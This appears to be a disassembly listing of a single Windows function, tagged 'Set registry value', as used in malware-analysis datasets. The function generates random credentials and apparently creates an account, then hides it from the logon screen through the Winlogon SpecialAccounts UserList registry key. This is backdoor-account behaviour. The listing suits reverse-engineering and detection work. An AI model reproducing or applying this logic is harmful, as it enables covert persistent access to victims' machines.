Function at 0x41c94a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x94]
call fcn.0041f314
push 6
pop ecx
mov esi, eax
mov edi, dword [ebp - 4]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x94]
call fcn.0041f302
mov ecx, dword [ebp - 4]
call fcn.0041f2f0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x64], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x58], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x54], ecx
mov ecx, dword [ebp - 4]
call fcn.0041be72
test eax, eax
je 0x41ca70
push 0x428f74
lea ecx, [ebp - 0x10]
call fcn.00406f64
push eax
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.004213b7
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x5c
call fcn.00406bfc
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x10]
call fcn.00406be2
push 0x428f80
lea ecx, [ebp - 0x18]
call fcn.00406f64
push eax
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.004213b7
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x60
call fcn.00406bfc
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
mov ecx, dword [ebp - 4]
add ecx, 0x5c
call fcn.00406f1b
test eax, eax
jne 0x41ca37
mov ecx, dword [ebp - 4]
add ecx, 0x60
call fcn.00406f1b
test eax, eax
jne 0x41ca37
jmp 0x41ca68
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
push 8
lea ecx, [ebp - 0x4c]
call fcn.004091bc
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x4c]
call fcn.0040918c
xor eax, eax
inc eax
jmp 0x41cc58
mov ecx, dword [ebp - 4]
call fcn.0041f2de
call fcn.0041df16
cmp eax, 6
jb 0x41ca83
call fcn.0041dea7
test eax, eax
je 0x41cabb
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
push 2
lea ecx, [ebp - 0x5c]
call fcn.004091bc
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x5c]
call fcn.0040918c
mov ecx, dword [ebp - 4]
call fcn.0041f2de
xor eax, eax
jmp 0x41cc58
call fcn.0041e932
cmp eax, 1
je 0x41cafd
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
push 1
lea ecx, [ebp - 0x6c]
call fcn.004091bc
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x6c]
call fcn.0040918c
mov ecx, dword [ebp - 4]
call fcn.0041f2de
xor eax, eax
jmp 0x41cc58
push 8
lea eax, [ebp - 0x1c]
push eax
call fcn.00406d2e
pop ecx
pop ecx
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x5c
call fcn.00406bfc
lea ecx, [ebp - 0x1c]
call fcn.00406be2
push 8
lea eax, [ebp - 0x20]
push eax
call fcn.00406d2e
pop ecx
pop ecx
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x60
call fcn.00406bfc
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
and dword [ebp - 0x24], 0
mov ecx, dword [ebp - 4]
add ecx, 0x5c
call fcn.00406f44
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
mov ecx, dword [ebp - 4]
call fcn.0041ab68
test eax, eax
jne 0x41cbea
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
push 9
lea ecx, [ebp - 0x7c]
call fcn.004091bc
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x7c]
call fcn.0040918c
mov ecx, dword [ebp - 4]
call fcn.0041f2de
xor eax, eax
jmp 0x41cc58
mov eax, dword [ebp - 4]
add eax, 0x5c
push eax
push 0x428f8c
lea ecx, [ebp - 0x30]
call fcn.00406f64
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00421349
lea ecx, [ebp - 0x30]
call fcn.00406be2
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
push 0x428fe8
lea ecx, [ebp - 0x34]
call fcn.00406f64
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00421349
lea ecx, [ebp - 0x34]
call fcn.00406be2
mov eax, dword [ebp - 4]
add eax, 0x18
mov dword [ebp - 0x38], eax
push dword [ebp - 4]
push 0x41c6f5
mov ecx, dword [ebp - 0x38]
call fcn.00403bff
mov ecx, dword [ebp - 4]
call fcn.0041f2de
xor eax, eax
inc eax
pop edi
pop esi
leave
ret 0xc